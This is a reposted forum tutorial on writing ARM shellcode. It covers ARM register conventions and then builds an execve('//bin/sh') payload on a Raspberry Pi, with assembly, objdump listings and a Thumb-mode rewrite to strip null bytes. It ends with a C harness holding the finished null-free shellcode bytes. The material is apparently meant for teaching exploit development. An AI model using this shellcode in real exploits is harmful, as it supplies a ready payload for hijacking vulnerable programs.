Nytro Posted October 6, 2014 Report Posted October 6, 2014 ARM Architecture Shellcoding by Anwar Mohamed - 05-10-2014 Introduction to the ARM architecture ARM is a family of instruction set architectures for computer processors based on a reduced instruction set computing (RISC) architecture developed by British company ARM Holdings. Also it is the most widely used 32-bit instruction set architecture. For a list of the ARM processor cores and handsets built on them, have a look at this link ARM architecture today has some features that were derived from the old Berkeley RISC including a load-store architecture, fixed length 32-bit instructions and 3-address instruction formats. The ARM architecture is also the most present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture including Linux (Used by Android), iOS (Used by iPhone & iPad) and Windows Phone 8 (Used by many Nokia-Lumia smartphones). Register conventions Register Alt. Name Usager0 a1 First function argument Integer function result Scratch registerr1 a2 Second function argument Scratch registerr2 a3 Third function argument Scratch registerr3 a4 Fourth function argument Scratch registerr4 v1 Register variabler5 v2 Register variabler6 v3 Register variabler7 v4 Register variabler8 v5 Register variabler9 v6rfp Register variable Real frame pointerr10 sl Stack limitr11 fp Argument pointerr12 ip Temporary workspacer13 sp Stack pointerr14 lr Link register Workspacer15 pc Program counterOut of the 16 accessible registers there are 11 general-purpose registers and 5 special purpose registers, which are assigned specific names. R11 is the frame pointer and holds the pointer to the current stack frame. R12 is the Intra-procedure call scratch register used by a subroutine to store temporary data. R13 is the stack pointer and holds the pointer to the top of the stack. R14 is the link register holds the return addresses whenever a subroutine is called with a branch and link instruction. R15 is the program counter and holds the address of the next instruction to be executed.The arguments of a function are stored in registers r0 to r3. If the number of arguments is greater than 3 then the excess arguments are stored onto the stack. Let's start by writing a shellcode called execve(). We first need to know the address of the syscall. Note that we are using a Raspberry Pi to demonstrate this article. ~# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve#define __NR_execve (__NR_SYSCALL_BASE+ 11)#define __NR_kexec_load (__NR_SYSCALL_BASE+347) We have [B]11[/B] for [B]_execve[/B]. We know that [B]_execve[/B] consumes three arguments: execve(const char *filename, char *const argv[], char *const envp[]) Which gives us: r0 => "//bin/sh\0"r1 => "//bin/sh\0"r2 => 0r7 => 11~# cat shell.s.section .text.global _start_start: mov r0, pc // place the address of pc in r0 add r0, #20 // add 20 to it (which then makes it point to //bin/sh) str r0, [sp, #4] // place it on the stack add r1, sp, #4 // move what was on the stack to r1 sub r2, r2, r2 // subtract r2 from itself (which is the same as placing 0 in r2) mov r7, #11 // syscall execve in r7 svc 0 // execute.ascii "//bin/sh\0"~# as -o shell.o shell.s~# ld -o shell shell.o~# ./shell~# exit~#~# strace ./shellexecve("./shell", ["./shell"], [/* 15 vars */]) = 0execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0It worked however in order create our shellcode, we should have no null bytes, and our shellcode has many of them. ~# objdump -d shellshell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e1a0000f mov r0, pc 8058: e2800014 add r0, r0, #20 805c: e58d0004 str r0, [sp, #4] 8060: e28d1004 add r1, sp, #4 8064: e0422002 sub r2, r2, r2 8068: e3a0700b mov r7, #11 806c: ef000000 svc 0x00000000 8070: 69622f2f .word 0x69622f2f 8074: 68732f6e .word 0x68732f6e 8078: 00 .byte 0x00 8079: 00 .byte 0x00 Under ARM, we have the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage. ~# cat shell.s.section .text.global _start_start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 0.ascii "//bin/sh\0"~# as -mthumb -o shell.o shell.s~# ld -o shell shell.o~# ./shell When compiling, use "-mthumb" to indicate that we are switching to "Thumb Mode". The value of the constant being added to r0 was changed. Instead of the original "add r0, #20", We are doing "add r0, #10" since we have now switched to "thumb mode", the address where our chain is at, has been halved. ~# objdump -d shellshell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df00 svc 0 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 So now we have to modify the following instruction: "svc 0". For SVC we will use "svc 1" which is perfect in this case.~# cat shell.s.section .text.global _start_start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 1.ascii "//bin/sh\0"~# as -mthumb -o shell.o shell.s~# ld -o shell shell.o~# strace ./shellexecve("./shell", ["./shell"], [/* 15 vars */]) = 0execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0~# exit~#~# objdump -d shellshell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 Here we are, we have got an operational shellcode without any null bytes. In C that gives us: ~# cat shell.c#include <stdio.h>#include <string.h>char *shellcode = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x0a\x30" "\x01\x90" "\x01\xa9" "\x92\x1a" "\x0b\x27" "\x01\xdf" "\x2f\x2f" "\x62\x69\x6e\x2f" "\x73\x68";int main(){ (*(void(*)()) shellcode)(); return 0;}~# gcc -o shell shell.c~# ./shell$$ ReferencesThe ARM Instruction Set Introduction to ARM Exploitation Shellstorm - Shellcoding in ARM Architecture Sursa: anwarelmakrahy | ARM Architecture Shellcoding Quote